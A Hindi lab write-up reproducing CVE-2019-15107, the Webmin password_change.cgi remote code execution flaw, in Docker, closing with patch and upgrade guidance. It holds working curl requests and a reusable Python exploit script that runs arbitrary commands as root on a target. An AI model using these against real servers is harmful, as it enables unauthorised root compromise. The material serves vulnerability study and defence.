
CVE-2019-15107 के लिए PoC शोषण, Webmin 1.920 और उससे पहले के संस्करणों में एक दूरस्थ कोड निष्पादन कमजोरी। इसमें Docker-आधारित प्रयोगशाला सेटअप, curl और Python शोषण स्क्रिप्ट, और शमन मार्गदर्शन शामिल हैं।
[CVE-2019-15107] Unix सिस्टम में उपयोग किए जाने वाले वेब-आधारित सिस्टम प्रबंधन टूल Webmin में उत्पन्न एक भेद्यता है। इस प्रबंधन टूल के कार्यों में से एक पासवर्ड बदलने वाले कोड में, एक विशेष पैरामीटर बिना फ़िल्टर किए सीधे शेल कमांड में पास किया जाता है, जिससे मनमाना कोड निष्पादन (Remote Code Execution, RCE) संभव हो जाता है।
Webmin 1.920 या उससे पहले के संस्करण का उपयोग करते समय, पासवर्ड बदलने वाले password_change.cgi में भेद्यता पाई गई थी। SourceForge के माध्यम से Webmin के वितरण के दौरान दुर्भावनापूर्ण कोड इंजेक्ट किए जाने के कारण यह भेद्यता उत्पन्न हुई।
इस पुनरुत्पादन में, हम vulhub में उपयोग किए गए webmin 1.910 संस्करण का उपयोग करते हैं। साथ ही, Webmin में पासवर्ड बदलना केवल passwd_mode=2 होने पर ही सक्रिय होता है, इसलिए passwd_mode=2 वाले वातावरण को सेटअप करें।
तैयार 1.910 संस्करण के Webmin रिलीज़ फ़ाइल webmin_1.910_all.deb के साथ, नीचे दिए गए कमांड का उपयोग करके भेद्य वातावरण सेटअप करें।
docker compose up -d
Dockerfileऔरdocker-entrypoint.shफ़ाइलों को vulhub में पहले से बनाए गए प्रारूप का संदर्भ लेकर स्थानीय फ़ाइलों के अनुसार पुनर्गठित किया गया है।
पासवर्ड बदलने के लिए user, old, new1, new2 जैसे परिचित पैरामीटर आवश्यक हैं। इनमें से old पैरामीटर के मान को निष्पादित करने वाला कोड डाला गया था।
नीचे 1.910 संस्करण की password_change.cgi फ़ाइल का एक भाग है। qx/$in{'old'}/ वह कोड है जो ऊपर बताए गए old के मान को निष्पादित करता है। इस मान को नियंत्रित करके मनमाना कोड निष्पादन संभव हो जाता है।
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
Webmin में password_change.cgi तक पहुँचकर और old वेरिएबल में हेरफेर करके अनुरोध भेजकर भेद्यता को पुन: उत्पन्न किया जा सकता है।
चाहे curl का उपयोग करें या python का, किसी भी तरीके से password_change.cgi पर अनुरोध भेजना संभव होना चाहिए। तीनों उदाहरणों का उद्देश्य old में कमांड id डालकर uid प्रिंट करना था।
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# HTTPS 인증서 무시
requests.packages.urllib3.disable_warnings()
# CVE-2019-15107 payload
# old 파라미터에 명령어 입력
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # 명령어
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] Exploit sent!")
print("[+] Response:")
print(response.text)
return True
else:
print(f"[-] Status code: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
print(f"[*] Exploiting Webmin at {args.target}")
print(f"[*] Command: {args.command}")
exploit_webmin(args.target, args.command)
इसे निम्नानुसार चलाया जा सकता है।
python3 PoC.py -t your-ip:10000 -c "id"

उपरोक्त विधि से old पैरामीटर में वांछित कमांड डालने पर वह कमांड सीधे निष्पादित हो जाती है। परिणामों से देखा जा सकता है कि सभी uid 0 हैं, जो रूट विशेषाधिकारों के साथ निष्पादन को दर्शाता है।
अर्थात, यह [CVE-2019-15107] भेद्यता रूट विशेषाधिकारों के साथ RCE करने की अनुमति देती है।
इसके अलावा, यदि एक अलग रिवर्स शेल तैयार किया जाए, तो उस रिवर्स शेल से जुड़कर सर्वर का शेल प्राप्त किया जा सकता है।
भेद्यता का पुनरुत्पादन पूरा होने के बाद, नीचे दिए गए कोड से सेवा को समाप्त किया जा सकता है।
docker compose down
सबसे सरल तरीका webmin को अपडेट करना है।
1.930 संस्करण में अपडेट करने पर कोड बदल दिया गया था। old मान को निष्पादित करने वाले भाग को हटा दिया गया।
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
यदि कोड निष्पादन भाग आवश्यक हो, तो old इनपुट मान को मान्य करने वाला कोड जोड़कर भी समस्या का समाधान किया जा सकता है।